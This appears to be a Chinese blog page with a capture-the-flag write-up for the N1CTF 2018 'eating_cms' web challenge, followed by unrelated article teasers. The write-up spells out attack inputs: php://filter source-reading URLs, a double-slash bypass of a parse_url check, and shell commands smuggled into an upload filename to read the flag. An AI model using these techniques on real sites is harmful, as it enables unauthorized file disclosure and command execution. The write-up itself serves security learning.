当前位置：首页 > news >正文

[N1CTF 2018]eating_cms

news 2026/1/12 10:54:11

[N1CTF 2018]eating_cms

知识点

文件上传

解题

这个题感觉还好，知识点真心不难，就是全混在一起。

思路差不多挺离谱

首先看到，有一个登录界面，然后猜测有注册界面

admin注册不了，随便注册一个账号。

注册之后，进行登录。

登录完成，自动进入user.php?page=guest

将page传入伪协议，尝试读取内容

/user.php?page=php://filter/read=convert.base64-encode/resource=user

然后看到包含了function.php

一路包含下去就行

最后看到

/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

发现被拦截

看到 parse_url函数过滤

所以可以使用两个//进行过滤

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

然后看到m4aaannngggeee

最后看到

templates/upload.html

进行访问后看到一个上传界面。

看源代码。。。

发现他是假的。。。。。

真正的在filename。

/user.php?page=m4aaannngggeee

发现真正的上传点

文件名可以直接执行命令

发现过滤了 /

所以利用…进行绕过

;ls ..

;cd ..;cat flag_23333

得到flag

[N1CTF 2018]eating_cms

[N1CTF 2018]eating_cms 知识点文件上传解题这个题感觉还好，知识点真心不难，就是全混在一起。思路差不多挺离谱首先看到，有一个登录界面，然后猜测有注册界面 admin注册不了，随便注册一个账号。注册之后&…...

编程日记 2024/12/23 4:56:12

重拾设计模式--建造者模式

文章目录建造者模式（Builder Pattern）概述建造者模式UML图作用：建造者模式的结构产品（Product）：抽象建造者（Builder）：具体建造者（Concrete Builder&#xff…...

编程日记 2024/12/23 4:53:10

【机器学习】以机器学习为翼，翱翔网络安全创新苍穹

我的个人主页我的领域：人工智能篇，希望能帮助到大家！！！👍点赞收藏❤ 在数字化浪潮汹涌澎湃的当下，网络安全如同守护数字世界的坚固堡垒，其重要性不言而喻。而机器学习技术的蓬勃…...

编程日记 2024/12/23 4:50:07

人工智能在VR展览中扮演什么角色？

人工智能（AI）在VR展览中扮演着多重关键角色，这些角色不仅增强了用户体验，还为展览的组织者提供了强大的工具。接下来，由专业从事VR展览制作的圆桌3D云展厅平台为大家介绍AI在VR展览中的一些主要作用： 个性…...

编程日记 2024/12/23 4:44:02

一.库操作1.创建库create database if not exists 库名 default 字符集 default 校对规则2.删除库drop database if exists 库名3.修改库的,字符集,校对规则alter databse 库名 default 字符集 default 校对规则4.查看当前使用的库seclect databse();5.查看库show databases;…...

编程日记 2024/12/23 4:40:59

日期区间选择器插件的操作流程

我们知道，在开发过程中，为了能够在规定时间内完成项目，有时候我们都会使用插件来大大提高我们的开发效率，有些插件是可以直接拿来用，但是有些插件拿过来之后是需要进行修改，在使用插件的时候还有很多的注意…...

编程日记 2024/12/23 4:36:54

【WRF教程第3.2期】预处理系统 WPS详解：以4.5版本为例

预处理系统 WPS 详解：以4.5版本为例 WPS 嵌套域（WPS Nested Domains）USGS 和 MODIS 土地利用重力波拖拽方案静态数据（Gravity Wave Drag Scheme Static Data）1. 什么是重力波拖拽方案（GWDO）静态…...

编程日记 2024/12/23 4:33:50

深度学习的DataLoader是什么数据类型，为什么不可用来索引

在 Python 中，DataLoader是torch.utils.data.DataLoader类的实例对象，用于加载数据，它本身不是一种基本数据类型，而是一种特殊的迭代器类型，主要用于按批次加载数据，以下是其通常不可索引的原因&#xff1a…...

编程日记 2024/12/23 4:28:46

物理信息神经网络（PINN）八课时教案

物理信息神经网络（PINN）八课时教案第一课：物理信息神经网络概述 1.1 PINN的定义与背景物理信息神经网络（Physics-Informed Neural Networks，简称PINN）是一种将物理定律融入神经网络训练过程中的先进方…...

编程日记 2024/12/23 4:23:40

Linux setfacl 命令详解

文章目录 Linux setfacl 命令详解一、ACL 和 setfacl 简介二、基本语法三、常用操作1. 查看 ACL2. 为用户设置权限3. 为组设置权限4. 删除 ACL 条目5. 设置默认 ACL6. 递归设置 ACL 四、示例操作1. 创建示例目录和文件2. 设置 ACL3. 验证 ACL 五、注意事项六、总结 Linux setfa…...

编程日记 2024/12/23 4:21:38

电商环境下的财务ERP系统架构

先介绍一下自己的工作经历，2002年开始进入ERP实施行业，专注于O记EBS系统，正好赶上中国经济和信息化高度发展的阶段，先后实施过很多大国企和民企的大型ERP项目，在实施过程中逐渐对ERP系统的架构、模块设计有更深入的认识…...

编程日记 2024/12/23 4:19:37

Linux相关概念和易错知识点（25）（信号原理、操作系统的原理、volatile）

目录 1.信号的产生 （1）kill （2）raise、abort 2.对block、pending、handler表的管理 （1）信号集（sigset_t） （2）block表的管理 ①操作相关的函数 ②sigpr…...

编程日记 2024/12/23 4:16:34

线上问题——频繁 Full GC 问题的排查思路

文章目录一、查看 GC 日志二、分析内存泄漏三、检查对象生命周期四、优化代码五、调整垃圾回收策略六、使用监控工具一、查看 GC 日志启用 GC 日志在 Java 应用中，需要在启动参数中添加适当的参数来启用 GC 日志记录。可以使用-XX:PrintGCDetails、-XX:PrintGCD…...

编程日记 2024/12/23 4:14:30

《探秘 Qt Creator Manual 4.11.1》

《探秘 Qt Creator Manual 4.11.1》一、Qt Creator 4.11.1 概述二、功能特性全解析（一）跨平台能力展示（二）代码编辑优势（三）版本控制集成（四）特定 Qt 功能呈现（五&#…...

编程日记 2024/12/23 4:13:29

level2逐笔委托查询接口

沪深逐笔委托队列查询前置步骤分配数据库服务器查询模板以下是沪深委托队列查询的请求模板： http://<数据库服务器>/sql?modeorder_book&code<股票代码>&offset<offset>&token<token>查询参数说明参数名类型说明mo…...

编程日记 2024/12/23 4:12:27

在Linux系统安装配置 MySQL 和 hive，hive配置为远程模式

前提：已安装配置好了Hadoop环境，因为hive的底层是Hadoop 1 Mysql安装搜索Centos7自带的mariadb rpm -qa|grep mariadb 卸载mariadb rpm -e mariadb-libs-5.5.64-1.el7.x86_64 --nodeps 再搜索一次看看是否还存在 rpm -qa|grep mariadb 安装mysql 创…...

编程日记 2024/12/23 4:10:25